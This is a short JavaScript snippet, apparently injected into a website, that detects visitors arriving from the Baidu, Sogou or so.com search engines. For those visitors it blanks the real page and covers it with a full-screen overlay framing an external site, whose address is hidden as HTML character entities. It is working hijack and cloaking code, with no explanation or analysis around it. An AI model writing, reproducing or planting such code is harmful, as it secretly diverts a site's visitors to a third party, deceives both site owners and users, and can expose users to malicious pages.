if (document.referrer && (document.referrer.includes('baidu.com') || document.referrer.includes('sogou.com')  || document.referrer.includes('so.com')) ){
    document.writeln("<style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0;}</style><div style='position:absolute;left:0px; top:0px; z-index:9999999999999999; width:100%; height:100%; background:#fff;  overflow: auto; ' ><iframe src='&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#57;&#49;&#109;&#101;&#110;&#103;&#104;&#117;&#97;&#110;&#46;&#99;&#99;&#47;'  width=100% height=6000px frameborder=no border=0 marginwidth=0 marginheight=0  scrolling=yes></iframe></div>");
}